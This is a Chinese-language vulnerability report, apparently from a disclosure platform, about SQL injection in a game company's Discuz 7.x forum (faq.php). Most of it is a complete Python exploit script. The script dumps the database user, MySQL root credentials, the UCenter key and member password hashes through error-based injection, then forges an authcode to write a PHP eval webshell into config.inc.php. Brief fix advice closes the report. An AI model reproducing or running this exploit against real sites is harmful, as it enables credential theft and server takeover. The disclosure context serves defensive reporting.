2014-07-26： 积极联系厂商并且等待厂商认领中，细节不对外公开 2014-10-24： 厂商已经主动忽略漏洞，细节向公众公开
49you官方论坛存在SQL注入漏洞，可获得webshell
faq.php存在sql注入
利用网上公布的exp
#!/usr/bin/env python# -*- coding: gbk -*-# -*- coding: utf_8 -*- # author iswin import sysimport hashlibimport timeimport mathimport base64import urllib2 import urllibimport redef sendRequest(url,para): try: data = urllib.urlencode(para) req=urllib2.Request(url,data) res=urllib2.urlopen(req,timeout=20).read() except Exception, e: print 'Exploit Failed!\n%s'%(e) exit(0); return resdef getTablePrefix(url): print 'Start GetTablePrefix...' para={'action':'grouppermission','gids[99]':'\'','gids[100][0]':') and (select 1 from (select count(*),concat((select hex(TABLE_NAME) from INFORMATION_SCHEMA.TABLES where table_schema=database() limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#'} res=sendRequest(url,para); pre=re.findall("Duplicate entry '(.*?)'",res); if len(pre)==0: print 'Exploit Failed!' exit(0); table_pre=pre[0][:len(pre[0])-1].decode('hex') table_pre=table_pre[0:table_pre.index('_')] print 'Table_pre:%s'%(table_pre) return table_predef getCurrentUser(url): para={'action':'grouppermission','gids[99]':'\'','gids[100][0]':') and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a)#'} res=sendRequest(url,para) pre=re.findall("Duplicate entry '(.*?)'",res) if len(pre)==0: print 'Exploit Failed!' exit(0); table_pre=pre[0][:len(pre[0])-1] print 'Current User:%s'%(table_pre) return table_predef getUcKey(url): para={'action':'grouppermission','gids[99]':'\'','gids[100][0]':') and (select 1 from (select count(*),concat((select substr(authkey,1,62) from cdb_uc_applications limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#'} para1={'action':'grouppermission','gids[99]':'\'','gids[100][0]':') and (select 1 from (select count(*),concat((select substr(authkey,63,2) from cdb_uc_applications limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#'} res=sendRequest(url,para); res1=sendRequest(url,para1); key1=re.findall("Duplicate entry '(.*?)'",res) key2=re.findall("Duplicate entry '(.*?)'",res1) if len(key1)==0: print 'Get Uc_Key Failed!' return '' key=key1[0][:len(key1[0])-1]+key2[0][:len(key2[0])-1] print 'uc_key:%s'%(key) return keydef getRootUser(url): para={'action':'grouppermission','gids[99]':'\'','gids[100][0]':') and (select 1 from (select count(*),concat((select concat(user,0x20,password) from mysql.user limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#'} res=sendRequest(url,para); pre=re.findall("Duplicate entry '(.*?)'",res) if len(pre)==0: print 'Exploit Failed!' exit(0); table_pre=pre[0][:len(pre[0])-1].split(' ') print 'root info:\nuser:%s password:%s'%(table_pre[0],table_pre[1])def dumpData(url,table_prefix,count): para={'action':'grouppermission','gids[99]':'\'','gids[100][0]':') and (select 1 from (select count(*),concat((select concat(username,0x20,password) from %s_members limit %d,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#'%(table_prefix,count)} res=sendRequest(url,para); datas=re.findall("Duplicate entry '(.*?)'",res) if len(datas)==0: print 'Exploit Failed!' exit(0) cleandata=datas[0][:len(datas[0])-1] info=cleandata.split(' ') print 'user:%s pass:%s'%(info[0].decode('utf-8').encode('cp936'),info[1])def microtime(get_as_float = False) : if get_as_float: return time.time() else: return '%.8f %d' % math.modf(time.time()) def get_authcode(string, key = ''): ckey_length = 4 key = hashlib.md5(key).hexdigest() keya = hashlib.md5(key[0:16]).hexdigest() keyb = hashlib.md5(key[16:32]).hexdigest() keyc = (hashlib.md5(microtime()).hexdigest())[-ckey_length:] cryptkey = keya + hashlib.md5(keya+keyc).hexdigest() key_length = len(cryptkey) string = '0000000000' + (hashlib.md5(string+keyb)).hexdigest()[0:16]+string string_length = len(string) result = '' box = range(0, 256) rndkey = dict() for i in range(0,256): rndkey[i] = ord(cryptkey[i % key_length]) j=0 for i in range(0,256): j = (j + box[i] + rndkey[i]) % 256 tmp = box[i] box[i] = box[j] box[j] = tmp a=0 j=0 for i in range(0,string_length): a = (a + 1) % 256 j = (j + box[a]) % 256 tmp = box[a] box[a] = box[j] box[j] = tmp result += chr(ord(string[i]) ^ (box[(box[a] + box[j]) % 256])) return keyc + base64.b64encode(result).replace('=', '') def get_shell(url,key,host): headers={'Accept-Language':'zh-cn', 'Content-Type':'application/x-www-form-urlencoded', 'User-Agent':'Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)', 'Referer':url } tm = time.time()+10*3600 tm="time=%d&action=updateapps" %tm code = urllib.quote(get_authcode(tm,key)) url=url+"?code="+code data1='''<?xml version="1.0" encoding="ISO-8859-1"?> <root> <item id="UC_API">http://xxx\');eval($_POST[3]);//</item> </root>''' try: req=urllib2.Request(url,data=data1,headers=headers) ret=urllib2.urlopen(req) except: return "Exploit Falied" data2='''<?xml version="1.0" encoding="ISO-8859-1"?> <root> <item id="UC_API">http://aaa</item> </root>''' try: req=urllib2.Request(url,data=data2,headers=headers) ret=urllib2.urlopen(req) except: return "error" try: req=urllib2.Request(host+'/config.inc.php') res=urllib2.urlopen(req,timeout=20).read() except Exception, e: print 'GetWebshell Failed,%s'%(e) return print "webshell:"+host+"/config.inc.php,password:3"if __name__ == '__main__': print 'DZ7.x Exp Code By iswin' if len(sys.argv)<3: print 'DZ7.x Exp Code By iswin\nusage:python dz7.py http://www.waitalone.cn 10' exit(0) url=sys.argv[1]+'/faq.php' count=int(sys.argv[2]) user=getCurrentUser(url) if user.startswith('root@'): getRootUser(url) uc_key=getUcKey(url) if len(uc_key)==64: print 'Start GetWebshell...' get_shell(sys.argv[1]+'/api/uc.php',uc_key,sys.argv[1]) tb_pre=getTablePrefix(url) print 'Start DumpData...' for x in xrange(0,count): dumpData(url,tb_pre,x)<img src="justgo.jd-app.com/4.png" alt="49.PNG" />
上图
（1）直接删除faq.php文件。该文件为显示论坛帮助用的，功能相对独立，可以在服务器禁止该文件的访问，或者直接删除，对论坛常规功能没有任何影响。（2） 手工修复faq.php用编辑器打开该文件，查找代码：“} elseif($action =='grouppermission') {”，在其下面添加“ $gids= array();”
未能联系到厂商或者厂商积极拒绝
